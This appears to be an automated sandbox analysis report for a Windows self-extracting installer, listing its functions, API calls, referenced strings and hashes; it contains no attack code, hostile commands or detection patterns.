Associated: 00000000.00000002.1818471106.00007FF78CA69000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1818487106.00007FF78CA6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1818503281.00007FF78CA6E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78ca60000_file.jbxd

Similarity

API ID: Char$DirectoryNext$CloseEnvironmentExpandOpenQueryStringsSystemUpperValueWindows
String ID: Software\Microsoft\Windows\CurrentVersion\App Paths
API String ID: 2659952014-2428544900
Opcode ID: 1314adf55e8c5aadfa89ec9868a05f6851897013704a9f684ecd2a0776fb0ae0
Instruction ID: 180baf48344be83307f6a006acb165638729ac636ecf0a12249c1b023856d7a2
Opcode Fuzzy Hash: 1314adf55e8c5aadfa89ec9868a05f6851897013704a9f684ecd2a0776fb0ae0
Instruction Fuzzy Hash: 0A41B67271868182FB60AF21F854EBAB7A0FB85B80FA41131EA8E07B94DF3CD545C711

Function 00007FF78CA64A70 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 151memorywindowCOMMON

Download Yara Rule

APIs

LoadStringA.USER32 ref: 00007FF78CA64B04
LocalAlloc.KERNEL32 ref: 00007FF78CA64BF0
LocalAlloc.KERNEL32 ref: 00007FF78CA64C22
MessageBoxA.USER32 ref: 00007FF78CA64B3E

Part of subcall function 00007FF78CA67614: EnumResourceLanguagesA.KERNEL32 ref: 00007FF78CA6766C
Part of subcall function 00007FF78CA67614: EnumResourceLanguagesA.KERNEL32 ref: 00007FF78CA676A4

LocalAlloc.KERNEL32 ref: 00007FF78CA64B94
MessageBeep.USER32 ref: 00007FF78CA64C45
MessageBoxA.USER32 ref: 00007FF78CA64C84
LocalFree.KERNEL32 ref: 00007FF78CA64C8F

Part of subcall function 00007FF78CA676D8: GetVersionExA.KERNEL32 ref: 00007FF78CA6772D
Part of subcall function 00007FF78CA676D8: GetSystemMetrics.USER32 ref: 00007FF78CA67761
Part of subcall function 00007FF78CA676D8: RegOpenKeyExA.ADVAPI32 ref: 00007FF78CA67790
Part of subcall function 00007FF78CA676D8: RegQueryValueExA.ADVAPI32 ref: 00007FF78CA677C5
Part of subcall function 00007FF78CA676D8: RegCloseKey.ADVAPI32 ref: 00007FF78CA677D2
Part of subcall function 00007FF78CA676D8: CharNextA.USER32 ref: 00007FF78CA6781B

Strings

rce., xrefs: 00007FF78CA64A9B

Memory Dump Source

Source File: 00000000.00000002.1818453921.00007FF78CA61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78CA60000, based on PE: true

Associated: 00000000.00000002.1818438066.00007FF78CA60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1818471106.00007FF78CA69000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1818487106.00007FF78CA6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1818503281.00007FF78CA6E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78ca60000_file.jbxd

Similarity

API ID: Local$AllocMessage$EnumLanguagesResource$BeepCharCloseFreeLoadMetricsNextOpenQueryStringSystemValueVersion
String ID: rce.
API String ID: 2929476258-1858031711
Opcode ID: 8031d0f5c260d1828ae3b026181698a0ded8a6d20b8c433cb7d87d6f329fc285
Instruction ID: 644b4dee5077809518927023d623eb37aff686255d0fe79331db3237bebf4769
Opcode Fuzzy Hash: 8031d0f5c260d1828ae3b026181698a0ded8a6d20b8c433cb7d87d6f329fc285
Instruction Fuzzy Hash: 0F51AF62E0868686FB51AB75B800FB5B690BB54B98FA40231EE5D137D5DF3CE581C322

Function 00007FF78CA632B0 Relevance: 13.6, APIs: 9, Instructions: 59windowCOMMON

Download Yara Rule

APIs

EndDialog.USER32 ref: 00007FF78CA632F0
GetDesktopWindow.USER32 ref: 00007FF78CA632F8
SetDlgItemTextA.USER32 ref: 00007FF78CA63318
SetWindowTextA.USER32 ref: 00007FF78CA63328
SetForegroundWindow.USER32 ref: 00007FF78CA63331
GetDlgItem.USER32 ref: 00007FF78CA6333F
GetWindowLongPtrA.USER32 ref: 00007FF78CA63350
SetWindowLongPtrA.USER32 ref: 00007FF78CA6336C
SendDlgItemMessageA.USER32 ref: 00007FF78CA63397

Memory Dump Source

Source File: 00000000.00000002.1818453921.00007FF78CA61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78CA60000, based on PE: true

Associated: 00000000.00000002.1818438066.00007FF78CA60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1818471106.00007FF78CA69000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1818487106.00007FF78CA6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1818503281.00007FF78CA6E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78ca60000_file.jbxd

Similarity

API ID: Window$Item$LongText$DesktopDialogForegroundMessageSend
String ID:
API String ID: 3785188418-0
Opcode ID: 27b069c42d7cb845fa97ce8d939dda9c2cba10eeb794f59d18c4f9ea67e0c096
Instruction ID: 8b2aaf836c166ae7cd1358e18d3c1eb4de05e2f491de43455429007495c71309
Opcode Fuzzy Hash: 27b069c42d7cb845fa97ce8d939dda9c2cba10eeb794f59d18c4f9ea67e0c096
Instruction Fuzzy Hash: CA213224D0964381FA64BB75B808E74B351BF95B60FF04235C81E563E4CF3CE44AC622

Function 00007FF78CA676D8 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 103registryCOMMON

Download Yara Rule

APIs

GetVersionExA.KERNEL32 ref: 00007FF78CA6772D
GetSystemMetrics.USER32 ref: 00007FF78CA67761
RegOpenKeyExA.ADVAPI32 ref: 00007FF78CA67790
RegQueryValueExA.ADVAPI32 ref: 00007FF78CA677C5
RegCloseKey.ADVAPI32 ref: 00007FF78CA677D2
CharNextA.USER32 ref: 00007FF78CA6781B

Strings

Control Panel\Desktop\ResourceLocale, xrefs: 00007FF78CA67782

Memory Dump Source

Source File: 00000000.00000002.1818453921.00007FF78CA61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78CA60000, based on PE: true

Associated: 00000000.00000002.1818438066.00007FF78CA60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1818471106.00007FF78CA69000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1818487106.00007FF78CA6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1818503281.00007FF78CA6E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78ca60000_file.jbxd

Similarity

API ID: CharCloseMetricsNextOpenQuerySystemValueVersion
String ID: Control Panel\Desktop\ResourceLocale
API String ID: 3346862599-1109908249
Opcode ID: 0ef2e49ea2d523cb0d96e1510a882bc26b5037e292a8015958692e0b2fe72ee1
Instruction ID: f7c733e6a288ec53b8c2ba62d0ea93b5e864be556785c6485d976b1befba88e2
Opcode Fuzzy Hash: 0ef2e49ea2d523cb0d96e1510a882bc26b5037e292a8015958692e0b2fe72ee1
Instruction Fuzzy Hash: 22410472F1865286EB50AB30F884DB8B3A0FB44B54FA00132DA5D43794DF7CE884CB22

Function 00007FF78CA611C0 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 63librarymemoryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32 ref: 00007FF78CA611FD
GetProcAddress.KERNEL32 ref: 00007FF78CA61219
AllocateAndInitializeSid.ADVAPI32 ref: 00007FF78CA61260
FreeSid.ADVAPI32 ref: 00007FF78CA61282
FreeLibrary.KERNEL32 ref: 00007FF78CA6128B

Strings

advapi32.dll, xrefs: 00007FF78CA611F0
CheckTokenMembership, xrefs: 00007FF78CA6120F

Memory Dump Source

Source File: 00000000.00000002.1818453921.00007FF78CA61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78CA60000, based on PE: true

Associated: 00000000.00000002.1818438066.00007FF78CA60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1818471106.00007FF78CA69000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1818487106.00007FF78CA6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1818503281.00007FF78CA6E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78ca60000_file.jbxd

Similarity

API ID: FreeLibrary$AddressAllocateInitializeLoadProc
String ID: CheckTokenMembership$advapi32.dll
API String ID: 4204503880-1888249752
Opcode ID: 64d96d54a73524583d87b63dfc7e8286ae492dfacb74392b1afb45792a249c94
Instruction ID: a9176cbfa546ab0a57c6c5222d3e652beb67804eca8b44827501de4c202fd1ee
Opcode Fuzzy Hash: 64d96d54a73524583d87b63dfc7e8286ae492dfacb74392b1afb45792a249c94
Instruction Fuzzy Hash: 54216036608B4586E790DF66F4449AAF7A0FB88B90FA40139EE8D53714DF3CE445CB10

Function 00007FF78CA62628 Relevance: 12.1, APIs: 8, Instructions: 145memoryCOMMON

Download Yara Rule

APIs

GlobalFree.KERNEL32 ref: 00007FF78CA6280E

Part of subcall function 00007FF78CA62448: CharUpperA.USER32 ref: 00007FF78CA6248E
Part of subcall function 00007FF78CA62448: CharNextA.USER32 ref: 00007FF78CA6249A
Part of subcall function 00007FF78CA62448: CharNextA.USER32 ref: 00007FF78CA624A3
Part of subcall function 00007FF78CA62448: RegOpenKeyExA.ADVAPI32 ref: 00007FF78CA6253E
Part of subcall function 00007FF78CA62448: RegQueryValueExA.ADVAPI32 ref: 00007FF78CA6256F
Part of subcall function 00007FF78CA62448: ExpandEnvironmentStringsA.KERNEL32 ref: 00007FF78CA62590
Part of subcall function 00007FF78CA62448: RegCloseKey.ADVAPI32 ref: 00007FF78CA625C1

GetFileVersionInfoSizeA.VERSION ref: 00007FF78CA626A0
GlobalAlloc.KERNEL32 ref: 00007FF78CA626B7
GlobalLock.KERNEL32 ref: 00007FF78CA626CC
GetFileVersionInfoA.VERSION ref: 00007FF78CA626EE
VerQueryValueA.VERSION ref: 00007FF78CA6270E
GlobalUnlock.KERNEL32 ref: 00007FF78CA627B2
GlobalUnlock.KERNEL32 ref: 00007FF78CA627C0

Memory Dump Source

Source File: 00000000.00000002.1818453921.00007FF78CA61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78CA60000, based on PE: true

Associated: 00000000.00000002.1818438066.00007FF78CA60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1818471106.00007FF78CA69000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1818487106.00007FF78CA6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1818503281.00007FF78CA6E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78ca60000_file.jbxd

Similarity

API ID: Global$Char$FileInfoNextQueryUnlockValueVersion$AllocCloseEnvironmentExpandFreeLockOpenSizeStringsUpper
String ID:
API String ID: 1051330783-0
Opcode ID: f78638de83485bf910632d144a3a72b8691c3b3d70d5a8fe4b5d167855251055
Instruction ID: 625795d3dda12fb710f06bf77d15261078599156ea6e9f1d81a0de3d72f5f845
Opcode Fuzzy Hash: f78638de83485bf910632d144a3a72b8691c3b3d70d5a8fe4b5d167855251055
Instruction Fuzzy Hash: A6517331F086528AEB50AF25A900DB8F7A5FB44B94FA44231DE0D63794DF3CE851C762

Function 00007FF78CA62830 Relevance: 12.1, APIs: 8, Instructions: 118COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32 ref: 00007FF78CA62876
IsDBCSLeadByte.KERNEL32 ref: 00007FF78CA6288C
CharNextA.USER32 ref: 00007FF78CA628AC
CharUpperA.USER32 ref: 00007FF78CA628B9
CharPrevA.USER32 ref: 00007FF78CA628EB
CharUpperA.USER32 ref: 00007FF78CA62941
CharNextA.USER32 ref: 00007FF78CA62995
CharNextA.USER32 ref: 00007FF78CA629A1

Memory Dump Source

Source File: 00000000.00000002.1818453921.00007FF78CA61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78CA60000, based on PE: true

Associated: 00000000.00000002.1818438066.00007FF78CA60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1818471106.00007FF78CA69000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1818487106.00007FF78CA6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1818503281.00007FF78CA6E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78ca60000_file.jbxd

Similarity

API ID: Char$Next$Upper$ByteFileLeadModuleNamePrev
String ID:
API String ID: 975904313-0
Opcode ID: e1d04261d858ece4703b4c937cc3562b4ed0abf51833e14a07d3450d64b04fd3
Instruction ID: 31352bea3ff7eb64629c1e4c4d92eba58ecc027ce53a0093984e1348527b9c98
Opcode Fuzzy Hash: e1d04261d858ece4703b4c937cc3562b4ed0abf51833e14a07d3450d64b04fd3
Instruction Fuzzy Hash: 4F41A852E0D6C641FF616B25B414FB9F791BB85B94FA84231CA9F07785CE2CD445C322

Function 00007FF78CA63D0C Relevance: 12.1, APIs: 6, Strings: 2, Instructions: 70memorystringCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF78CA64CC0: FindResourceA.KERNEL32 ref: 00007FF78CA64CE8
Part of subcall function 00007FF78CA64CC0: SizeofResource.KERNEL32(?,?,00000000,00007FF78CA62BB3), ref: 00007FF78CA64CF3
Part of subcall function 00007FF78CA64CC0: FindResourceA.KERNEL32 ref: 00007FF78CA64D13
Part of subcall function 00007FF78CA64CC0: LoadResource.KERNEL32(?,?,00000000,00007FF78CA62BB3), ref: 00007FF78CA64D1E
Part of subcall function 00007FF78CA64CC0: LockResource.KERNEL32(?,?,00000000,00007FF78CA62BB3), ref: 00007FF78CA64D27
Part of subcall function 00007FF78CA64CC0: memcpy_s.MSVCRT ref: 00007FF78CA64D40
Part of subcall function 00007FF78CA64CC0: FreeResource.KERNEL32(?,?,00000000,00007FF78CA62BB3), ref: 00007FF78CA64D49

LocalAlloc.KERNEL32(?,?,?,?,?,00007FF78CA62E75), ref: 00007FF78CA63D2D
GetLastError.KERNEL32 ref: 00007FF78CA63D5D
LocalFree.KERNEL32 ref: 00007FF78CA63DB9

Part of subcall function 00007FF78CA64A70: LoadStringA.USER32 ref: 00007FF78CA64B04
Part of subcall function 00007FF78CA64A70: MessageBoxA.USER32 ref: 00007FF78CA64B3E

lstrcmpA.KERNEL32(?,?,?,?,?,00007FF78CA62E75), ref: 00007FF78CA63DD9
LocalFree.KERNEL32(?,?,?,?,?,00007FF78CA62E75), ref: 00007FF78CA63E2E

Part of subcall function 00007FF78CA67304: FindResourceA.KERNEL32 ref: 00007FF78CA6732E
Part of subcall function 00007FF78CA67304: LoadResource.KERNEL32 ref: 00007FF78CA6733F
Part of subcall function 00007FF78CA67304: DialogBoxIndirectParamA.USER32 ref: 00007FF78CA6736F
Part of subcall function 00007FF78CA67304: FreeResource.KERNEL32 ref: 00007FF78CA6737B

LocalFree.KERNEL32 ref: 00007FF78CA63E0D

Strings

<None>, xrefs: 00007FF78CA63DD2
LICENSE, xrefs: 00007FF78CA63D15, 00007FF78CA63D81

Memory Dump Source

Source File: 00000000.00000002.1818453921.00007FF78CA61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78CA60000, based on PE: true

Associated: 00000000.00000002.1818438066.00007FF78CA60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1818471106.00007FF78CA69000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1818487106.00007FF78CA6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1818503281.00007FF78CA6E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78ca60000_file.jbxd

Similarity

API ID: Resource$Free$Local$FindLoad$AllocDialogErrorIndirectLastLockMessageParamSizeofStringlstrcmpmemcpy_s
String ID: <None>$LICENSE
API String ID: 2414642746-383193767
Opcode ID: 5a4247ff5b5a3f3e33d9449045396edb7047108b95579c67965ad8371a5c0a11
Instruction ID: 68ab27906a7ed2b6dfa9b142c1f029da543abd477cb7fb1f557c72deea579f22
Opcode Fuzzy Hash: 5a4247ff5b5a3f3e33d9449045396edb7047108b95579c67965ad8371a5c0a11
Instruction Fuzzy Hash: C5315A75E1D60382F761BF21F815F76B2A0BF94784FA04539C94E46AA0DF7DE401C622

Function 00007FF78CA64938 Relevance: 10.6, APIs: 7, Instructions: 93COMMON

Download Yara Rule

APIs

GetWindowRect.USER32 ref: 00007FF78CA6496B
GetWindowRect.USER32 ref: 00007FF78CA64986
GetDC.USER32 ref: 00007FF78CA6499D
GetDeviceCaps.GDI32 ref: 00007FF78CA649AE
GetDeviceCaps.GDI32 ref: 00007FF78CA649BF
ReleaseDC.USER32 ref: 00007FF78CA649D2
SetWindowPos.USER32 ref: 00007FF78CA64A3E

Memory Dump Source

Source File: 00000000.00000002.1818453921.00007FF78CA61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78CA60000, based on PE: true

Associated: 00000000.00000002.1818438066.00007FF78CA60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1818471106.00007FF78CA69000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1818487106.00007FF78CA6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1818503281.00007FF78CA6E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78ca60000_file.jbxd

Similarity

API ID: Window$CapsDeviceRect$Release
String ID:
API String ID: 2212493051-0
Opcode ID: 82eea2d133a119930696c2a32b8ef5d8a93a9560684ae113d9f716f9eb066404
Instruction ID: d5d20f1033eed55699cf9d461d26554c3a4d455b2e26f5fbaeab9ba7811ba59d
Opcode Fuzzy Hash: 82eea2d133a119930696c2a32b8ef5d8a93a9560684ae113d9f716f9eb066404
Instruction Fuzzy Hash: 06316E36B245118AF750DBB5F804DAD7B61B748B99FA45131CE0963A48CF3DE485CB11

Function 00007FF78CA66FB0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 64COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF78CA61144: _vsnprintf.MSVCRT ref: 00007FF78CA61181

LoadResource.KERNEL32 ref: 00007FF78CA66FE7
LockResource.KERNEL32 ref: 00007FF78CA66FF0
FreeResource.KERNEL32 ref: 00007FF78CA6702C
FindResourceA.KERNEL32 ref: 00007FF78CA6705A
FreeResource.KERNEL32 ref: 00007FF78CA6706D

Strings

UPDFILE%lu, xrefs: 00007FF78CA67037

Memory Dump Source

Source File: 00000000.00000002.1818453921.00007FF78CA61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78CA60000, based on PE: true

Associated: 00000000.00000002.1818438066.00007FF78CA60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1818471106.00007FF78CA69000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1818487106.00007FF78CA6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1818503281.00007FF78CA6E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78ca60000_file.jbxd

Similarity

API ID: Resource$Free$FindLoadLock_vsnprintf
String ID: UPDFILE%lu
API String ID: 2922116661-2329316264
Opcode ID: 47e30c68af17bc8e8918541752d0bccbb5525b077b522209f1120021165a2946
Instruction ID: 868392c258321ef98fc1279751c40bdf23fe3e033cfe59312f0834c32d0448ba
Opcode Fuzzy Hash: 47e30c68af17bc8e8918541752d0bccbb5525b077b522209f1120021165a2946
Instruction Fuzzy Hash: EE21A372A1874282FB50AB35F400D6AB7A0FF84B90FA54236DA6E437D4DE3CE441C762

Function 00007FF78CA64CC0 Relevance: 10.6, APIs: 7, Instructions: 50COMMON

Download Yara Rule

APIs

FindResourceA.KERNEL32 ref: 00007FF78CA64CE8
SizeofResource.KERNEL32(?,?,00000000,00007FF78CA62BB3), ref: 00007FF78CA64CF3
FindResourceA.KERNEL32 ref: 00007FF78CA64D13
LoadResource.KERNEL32(?,?,00000000,00007FF78CA62BB3), ref: 00007FF78CA64D1E
LockResource.KERNEL32(?,?,00000000,00007FF78CA62BB3), ref: 00007FF78CA64D27
memcpy_s.MSVCRT ref: 00007FF78CA64D40
FreeResource.KERNEL32(?,?,00000000,00007FF78CA62BB3), ref: 00007FF78CA64D49

Memory Dump Source

Source File: 00000000.00000002.1818453921.00007FF78CA61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78CA60000, based on PE: true

Associated: 00000000.00000002.1818438066.00007FF78CA60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1818471106.00007FF78CA69000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1818487106.00007FF78CA6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1818503281.00007FF78CA6E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78ca60000_file.jbxd

Similarity

API ID: Resource$Find$FreeLoadLockSizeofmemcpy_s
String ID:
API String ID: 3370778649-0
Opcode ID: e75314f0317059066ea3fc699c563cfa39b45419fc3ce52d9c4f3efc5764e6ed
Instruction ID: fa8e7bdd706c12a6f648f643bfe086c5d157dfbf39a91575ab0afc679522a727
Opcode Fuzzy Hash: e75314f0317059066ea3fc699c563cfa39b45419fc3ce52d9c4f3efc5764e6ed
Instruction Fuzzy Hash: 22113C21B09B4282EB58AB72B904D3AF291BB49FD0FA84438DD0E97B94DE3CD545C311

Function 00007FF78CA620C0 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 43COMMON

Download Yara Rule

APIs

GetWindowsDirectoryA.KERNEL32 ref: 00007FF78CA620ED
WritePrivateProfileStringA.KERNEL32 ref: 00007FF78CA62116
_lopen.KERNEL32 ref: 00007FF78CA62124
_llseek.KERNEL32 ref: 00007FF78CA62139
_lclose.KERNEL32 ref: 00007FF78CA62143

Strings

wininit.ini, xrefs: 00007FF78CA620F7

Memory Dump Source

Source File: 00000000.00000002.1818453921.00007FF78CA61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78CA60000, based on PE: true

Associated: 00000000.00000002.1818438066.00007FF78CA60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1818471106.00007FF78CA69000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1818487106.00007FF78CA6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1818503281.00007FF78CA6E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78ca60000_file.jbxd

Similarity

API ID: DirectoryPrivateProfileStringWindowsWrite_lclose_llseek_lopen
String ID: wininit.ini
API String ID: 3273605193-4206010578
Opcode ID: d99a2e7cceb70ccd9de0c5f7326f226540c4efd172db76e164313395207c738a
Instruction ID: 451b7d161a24c5904b232b9d9e46caf655134e0481d305584572824ba0b99b55
Opcode Fuzzy Hash: d99a2e7cceb70ccd9de0c5f7326f226540c4efd172db76e164313395207c738a
Instruction Fuzzy Hash: B4117332B1864182E760AB35F854BAAB3A1FBC8714FE44131DA4E832A4DE3CD549C711

Function 00007FF78CA6466C Relevance: 9.1, APIs: 3, Strings: 3, Instructions: 52memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF78CA64CC0: FindResourceA.KERNEL32 ref: 00007FF78CA64CE8
Part of subcall function 00007FF78CA64CC0: SizeofResource.KERNEL32(?,?,00000000,00007FF78CA62BB3), ref: 00007FF78CA64CF3
Part of subcall function 00007FF78CA64CC0: FindResourceA.KERNEL32 ref: 00007FF78CA64D13
Part of subcall function 00007FF78CA64CC0: LoadResource.KERNEL32(?,?,00000000,00007FF78CA62BB3), ref: 00007FF78CA64D1E
Part of subcall function 00007FF78CA64CC0: LockResource.KERNEL32(?,?,00000000,00007FF78CA62BB3), ref: 00007FF78CA64D27
Part of subcall function 00007FF78CA64CC0: memcpy_s.MSVCRT ref: 00007FF78CA64D40
Part of subcall function 00007FF78CA64CC0: FreeResource.KERNEL32(?,?,00000000,00007FF78CA62BB3), ref: 00007FF78CA64D49

LocalAlloc.KERNEL32(?,?,?,?,00000000,00007FF78CA630B1), ref: 00007FF78CA64695
LocalFree.KERNEL32(?,?,?,?,00000000,00007FF78CA630B1), ref: 00007FF78CA64725

Part of subcall function 00007FF78CA64A70: LoadStringA.USER32 ref: 00007FF78CA64B04
Part of subcall function 00007FF78CA64A70: MessageBoxA.USER32 ref: 00007FF78CA64B3E

Strings

@, xrefs: 00007FF78CA6470B
FINISHMSG, xrefs: 00007FF78CA64679, 00007FF78CA646C6
<None>, xrefs: 00007FF78CA646EF

Memory Dump Source

Source File: 00000000.00000002.1818453921.00007FF78CA61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78CA60000, based on PE: true

Associated: 00000000.00000002.1818438066.00007FF78CA60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1818471106.00007FF78CA69000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1818487106.00007FF78CA6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1818503281.00007FF78CA6E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78ca60000_file.jbxd

Similarity

API ID: Resource$FindFreeLoadLocal$AllocLockMessageSizeofStringmemcpy_s
String ID: <None>$@$FINISHMSG
API String ID: 3507850446-4126004490
Opcode ID: b487ec9568ec1de5c4182c7751c6796abb55c886bfc8e6d40acc34d304059198
Instruction ID: 5040f527f9f29eddad8da649f6f46a92833ad929ba93fa50864bf5befac69bcb
Opcode Fuzzy Hash: b487ec9568ec1de5c4182c7751c6796abb55c886bfc8e6d40acc34d304059198
Instruction Fuzzy Hash: 6811ACB6A1C20282F760EB30F415FBAB290FB95B84FA44135DA4E42B98DF3DD000CB15

Function 00007FF78CA6723C Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 45libraryCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32 ref: 00007FF78CA672B4
LoadLibraryExA.KERNEL32 ref: 00007FF78CA672CE
LoadLibraryA.KERNEL32 ref: 00007FF78CA672DD

Strings

C:\Users\user\AppData\Local\Temp\IXP000.TMP\, xrefs: 00007FF78CA6725A
advpack.dll, xrefs: 00007FF78CA67297, 00007FF78CA672D6

Memory Dump Source

Source File: 00000000.00000002.1818453921.00007FF78CA61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78CA60000, based on PE: true

Associated: 00000000.00000002.1818438066.00007FF78CA60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1818471106.00007FF78CA69000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1818487106.00007FF78CA6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1818503281.00007FF78CA6E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78ca60000_file.jbxd

Similarity

API ID: LibraryLoad$AttributesFile
String ID: C:\Users\user\AppData\Local\Temp\IXP000.TMP\$advpack.dll
API String ID: 438848745-3680919256
Opcode ID: d850ea1876ae98528329335e98d4342bb1a9607e9ecab4850cbfd1fe1fe41d5b
Instruction ID: 61a5d4935db2d31908ed8b8f54d20405612e9c675f42a65723a6eeeebed0a999
Opcode Fuzzy Hash: d850ea1876ae98528329335e98d4342bb1a9607e9ecab4850cbfd1fe1fe41d5b
Instruction Fuzzy Hash: DC116371A2868695FEA1AB30F450FF9B3A0FB94714FE40132D59D426A1DF2CE509C721

Function 00007FF78CA61490 Relevance: 7.5, APIs: 5, Instructions: 45windowCOMMON

Download Yara Rule

APIs

EndDialog.USER32 ref: 00007FF78CA614D5
GetDesktopWindow.USER32 ref: 00007FF78CA614E1
LoadStringA.USER32 ref: 00007FF78CA6150B
SetDlgItemTextA.USER32 ref: 00007FF78CA6151E
MessageBeep.USER32 ref: 00007FF78CA61527

Memory Dump Source

Source File: 00000000.00000002.1818453921.00007FF78CA61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78CA60000, based on PE: true

Associated: 00000000.00000002.1818438066.00007FF78CA60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1818471106.00007FF78CA69000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1818487106.00007FF78CA6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1818503281.00007FF78CA6E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78ca60000_file.jbxd

Similarity

API ID: BeepDesktopDialogItemLoadMessageStringTextWindow
String ID:
